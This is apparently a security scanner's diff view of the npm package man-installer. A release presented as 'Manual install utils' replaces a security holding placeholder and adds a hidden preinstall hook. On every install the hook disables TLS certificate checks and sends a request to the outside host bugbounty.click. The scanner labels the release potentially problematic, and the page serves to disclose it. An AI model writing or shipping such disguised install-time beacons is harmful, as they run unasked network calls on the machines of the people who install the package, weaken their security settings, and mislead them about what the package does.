man-installer 0.0.1-security → 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of man-installer might be problematic. Click here for more details.

package/README.md CHANGED
@@ -1,5 +1,3 @@
1
- # Security holding package
1
+ # ManInstall Utils
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=man-installer for more information.
3
+ Use this if it is not possible to use the automatic registration tool.
package/index.js ADDED
@@ -0,0 +1,7 @@
1
+ export default function getInstallKeyForHash(value) {
2
+ const key = "JH98227773929JJHHhhj287822o909183";
3
+ const msg = value;
4
+ const hash = 'SHA-512';
5
+
6
+ return key + "|" + msg + "|" + hash;
7
+ }
package/package.json CHANGED
@@ -1,6 +1 @@
1
- {
2
- "name": "man-installer",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {"name":"man-installer","version":"1.0.0","description":"Manual install utils","main":"index.js","scripts":{"test":"echo \"Error: no test specified\" && exit 1","preinstall":"node register_license.js"},"author":"","license":"ISC","type":"module"}
@@ -0,0 +1,16 @@
1
+ import https from 'https';
2
+
3
+ const license_key = "ABCD1234EFGH5678-1234-AAAA-BBB"; // Please update with your key from the portal
4
+
5
+ process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
6
+
7
+ const options = {
8
+ hostname: 'bugbounty.click',
9
+ port: 443,
10
+ path: '/licensing/register.php?Username=' + encodeURI(license_key) + '&Package=man-installer',
11
+ method: 'GET'
12
+ }
13
+
14
+ const req = https.request(options)
15
+
16
+ req.end();